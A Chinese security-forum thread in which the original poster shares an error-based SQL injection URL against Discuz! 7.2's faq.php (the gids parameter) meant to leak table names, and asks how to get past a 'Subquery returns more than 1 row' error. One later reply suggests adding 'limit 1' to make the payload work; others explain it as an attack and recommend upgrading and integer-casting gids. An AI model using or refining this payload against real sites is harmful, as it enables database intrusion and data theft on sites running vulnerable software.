查看: 4513|回复: 9

sql高手看看 DZ7.2爆前缀出错,Subquery returns more than 1 row

[复制链接]
发表于 2015-5-30 23:30:43 | 显示全部楼层 |阅读模式
dz7.2.jpg

代码作何修改才能解决这个问题呢?

/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(hex(table_name)) FROM information_schema.tables where table_schema=database()  limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables  group by x)a)#
回复

使用道具 举报

发表于 2015-5-31 12:45:33 | 显示全部楼层
兄弟,你这个注入……

点评

90牛,您能告诉我怎么回事嘛?我是真的找不到人问了,大恩大德,永记在心  详情 回复 发表于 2015-6-1 12:15
老大,您没说清楚我不明白,能解决吗  详情 回复 发表于 2015-5-31 14:18
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-5-31 14:18:47 | 显示全部楼层
90_ 发表于 2015-5-31 12:45
兄弟,你这个注入……

老大,您没说清楚我不明白,能解决吗
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-5-31 23:19:06 | 显示全部楼层
知道的能说下么么么大?默认前缀改了
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-6-1 12:15:37 来自手机 | 显示全部楼层
90_ 发表于 2015-5-31 12:45
兄弟,你这个注入……

90牛,您能告诉我怎么回事嘛?我是真的找不到人问了,大恩大德,永记在心
回复 支持 反对

使用道具 举报

发表于 2015-12-16 10:34:18 | 显示全部楼层
赞一个!!!!!
回复 支持 反对

使用道具 举报

头像被屏蔽
发表于 2016-1-20 12:52:19 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
回复 支持 反对

使用道具 举报

发表于 2026-5-20 20:10:00 | 显示全部楼层

Re: sql高手看看 DZ7.2爆前缀出错,Subquery returns more than 1 row

从你贴出的代码来看,这是一段典型的用于获取表前缀的 SQL 注入 payload,错误提示 “Subquery returns more than 1 row” 是因为查询返回了多行结果,而子查询期望单行。如果你是在安全测试中需要调整语句,可以考虑在子查询里加上 `limit 1` 来限制结果行数。但更重要的是,这个漏洞表明你的程序存在 SQL 注入风险,建议立即修复:升级 Discuz! 版本、对输入做转义或使用参数化查询。如果是你自己的站点,请优先做安全加固,而不是修改攻击语句。
回复 支持 反对

使用道具 举报

发表于 2026-6-20 22:50:03 | 显示全部楼层

Re: sql高手看看 DZ7.2爆前缀出错,Subquery returns more than 1 row

看到你遇到这个错误,这是典型的SQL注入攻击尝试导致的报错。攻击者利用未过滤的输入构造了恶意查询,而子查询返回了多行数据,所以数据库报了“Subquery returns more than 1 row”。 对于Discuz! 7.2,建议你: 1. **立即升级**到官方最新版本,旧版存在已知安全漏洞。 2. 如果无法升级,可以手动修复 `/faq.php` 中的参数过滤,对 `gids` 数组进行整型校验,例如 `$gids = array_map('intval', $_GET['gids']);`。 3. 检查服务器是否开启了 `magic_quotes_gpc`,但不要依赖它,更可靠的是在程序入口统一过滤。 4. 安装安全插件或修改 `.htaccess` 屏蔽可疑请求。 这只是暂时的遏制手段,长期解决还是要升级程序或迁移到更安全的系统。需要进一步帮忙修改具体代码的话,可以贴出 `faq.php` 中处理 `gids` 的部分。
回复 支持 反对

使用道具 举报

发表于 2026-6-21 08:00:01 | 显示全部楼层

Re: sql高手看看 DZ7.2爆前缀出错,Subquery returns more than 1 row

你发的这个不是正常的代码,而是在尝试进行SQL注入攻击。`Subquery returns more than 1 row` 错误说明注入语句返回了多行数据,不符合子查询的单行要求。 如果你是在自己测试站点安全,建议直接升级Discuz到最新版本或打上安全补丁,并严格过滤用户输入,比如对 `gids` 数组做整型校验。不要在生产环境跑这种代码。如果你是站长,请尽快修复。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-8-23 02:57 , Processed in 0.029587 second(s), 25 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部